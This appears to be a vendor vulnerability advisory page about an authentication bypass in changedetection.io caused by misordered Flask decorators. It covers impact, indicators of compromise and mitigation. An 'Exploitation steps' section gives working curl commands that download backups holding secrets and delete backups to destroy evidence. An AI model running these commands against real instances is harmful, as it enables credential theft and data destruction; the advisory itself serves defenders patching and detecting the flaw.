CVE-2026-35490
Python vulnerability analysis and mitigation

Overview

CVE-2026-35490 is an authentication bypass vulnerability in changedetection.io, a free open-source web page change detection tool, caused by incorrect decorator ordering in Flask route definitions. On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route(), which causes Flask to register the raw, undecorated function — silently disabling authentication on those routes. All versions up to and including 0.54.7 are affected; the vulnerability is fixed in version 0.54.8. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is classified as CWE-863 (Incorrect Authorization) and stems from a decorator ordering mistake in Flask. In Flask, @blueprint.route() must be the outermost decorator because it registers the function it wraps; when @login_optionally_required is placed outside @blueprint.route(), the route registers the original undecorated view function, and the authentication wrapper is never invoked. This affects 13 specific routes (e.g., /backups/, /backups/download/, /backups/request-backup, /backups/remove-backups) while 30+ other routes in the same codebase use the correct decorator order. A full proof-of-concept with concrete curl commands demonstrating the bypass is publicly available in the GitHub Security Advisory (GitHub Advisory).

Impact

An unauthenticated remote attacker can access all 13 affected routes without any credentials, enabling complete data exfiltration via backup downloads that contain monitored URLs, notification webhook URLs (potentially including API tokens for Slack, Discord, etc.), application password hashes, and Flask secret keys. Beyond data theft, an attacker can trigger backup creation, delete all backups, upload malicious backup files for configuration injection, abuse a proxy check endpoint for SSRF to scan internal networks, and interact with Playwright browser session endpoints. The combination of credential exposure (password hash, Flask secret key) and configuration injection creates a high risk of full application compromise and potential lateral movement into connected services (GitHub Advisory).

Exploitability

A high-confidence proof-of-concept exploit is publicly available in the official GitHub Security Advisory, consisting of concrete curl commands that require no authentication, no special tools, and no prior knowledge beyond the target's hostname and port. The vulnerability is exploitable over the network with no privileges and no user interaction required. As of the time of reporting, there is no evidence of active in-the-wild exploitation, and the EPSS score is 0.016% (very low probability of near-term exploitation). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog. It is detectable by Qualys scanner (detection ID 5010486) (GitHub Advisory, Feedly).

Exploitation steps

  1. Reconnaissance: Identify internet-facing changedetection.io instances (versions ≤ 0.54.7) using Shodan, Censys, or similar tools searching for the default port (5557) or known HTTP response signatures.
  2. Confirm authentication is enforced on standard routes: Send a request to the main page or /settings to verify a 302 redirect to /login is returned, confirming a password is set.
    curl -s -o /dev/null -w "%{http_code}" http://<target>:5557/settings
    # Expected: 302 (auth required)
  3. Trigger backup creation without authentication: Send an unauthenticated request to the vulnerable backup route.
    curl -s -o /dev/null -w "%{http_code}" http://<target>:5557/backups/request-backup
    # Expected: 302 redirect to /backups/ (NOT /login) — backup created
  4. List available backups: Access the backup listing page without credentials.
    curl -s http://<target>:5557/backups/
    # Returns HTTP 200 with backup filenames
  5. Extract backup filename: Parse the HTML response to identify the backup archive name (e.g., changedetection-backup-20260331005425.zip).
  6. Download the backup archive: Retrieve the full backup without authentication.
    curl -s -o /tmp/stolen_backup.zip http://<target>:5557/backups/download/changedetection-backup-20260331005425.zip
  7. Extract sensitive data: Unzip the archive to obtain url-watches.json (monitored URLs), secret.txt (application secrets), the Flask secret key, password hashes, and notification webhook tokens.
  8. Optional — destroy evidence or inject malicious config: Delete all backups or upload a crafted backup to alter the application's watch configuration.
    curl -s -o /dev/null -w "%{http_code}" http://<target>:5557/backups/remove-backups
    ``` ([GitHub Advisory](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4))

Indicators of compromise

  • Network: Unauthenticated HTTP GET/POST requests to /backups/, /backups/download/<filename>, /backups/request-backup, or /backups/remove-backups without a valid session cookie; outbound connections from the changedetection.io host to unexpected external IPs following backup access.
  • Logs: Web server or application access logs showing HTTP 200 or 302 responses to /backups/* endpoints from IPs with no prior authenticated session; repeated requests to backup routes from a single IP in a short timeframe; absence of a Set-Cookie or session token in requests that successfully accessed protected routes.
  • File System: Unexpected creation of new backup ZIP files in the backup directory at unusual times; missing backup files (indicating deletion via /backups/remove-backups); presence of newly uploaded or modified backup archives not matching expected naming conventions.
  • Application Behavior: New or modified watch configurations appearing without corresponding authenticated user activity; unexpected webhook or notification endpoint changes that could indicate config injection via malicious backup restore (GitHub Advisory).

Mitigation and workarounds

Upgrade changedetection.io to version 0.54.8 or later, which corrects the decorator ordering on all 13 affected routes by placing @blueprint.route() as the outermost decorator and @login_optionally_required immediately inside it. No configuration-based workaround fully mitigates the issue; however, restricting network access to the changedetection.io instance (e.g., binding to localhost, placing behind an authenticated reverse proxy, or using firewall rules) can reduce exposure until patching is possible. After upgrading, rotate any secrets that may have been exposed via backup downloads, including the Flask secret key, application password, and any API tokens stored in notification webhook configurations (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher axel-corsiez and published as a Critical advisory by the changedetection.io maintainer (dgtlmoon) on April 4, 2026. Social media activity was observed on Mastodon and Bluesky, with community members sharing the advisory. Red Hat also tracked the CVE in their security database. No major vendor statements beyond the official GitHub advisory or significant media coverage have been identified (GitHub Advisory, Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48039CRITICAL9.1
  • Python logoPython
  • meta-ads-mcp
NoYesAug 07, 2026
CVE-2026-48169HIGH8.8
  • Python logoPython
  • praisonai-platform
NoYesAug 07, 2026
GHSA-wvpp-8hx9-p66jHIGH8.8
  • Python logoPython
  • gitpython
NoYesAug 07, 2026
CVE-2026-71870MEDIUM4.8
  • Python logoPython
  • nemo
NoYesAug 07, 2026
CVE-2026-71852MEDIUM4.8
  • Python logoPython
  • litellm-1.94
NoYesAug 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management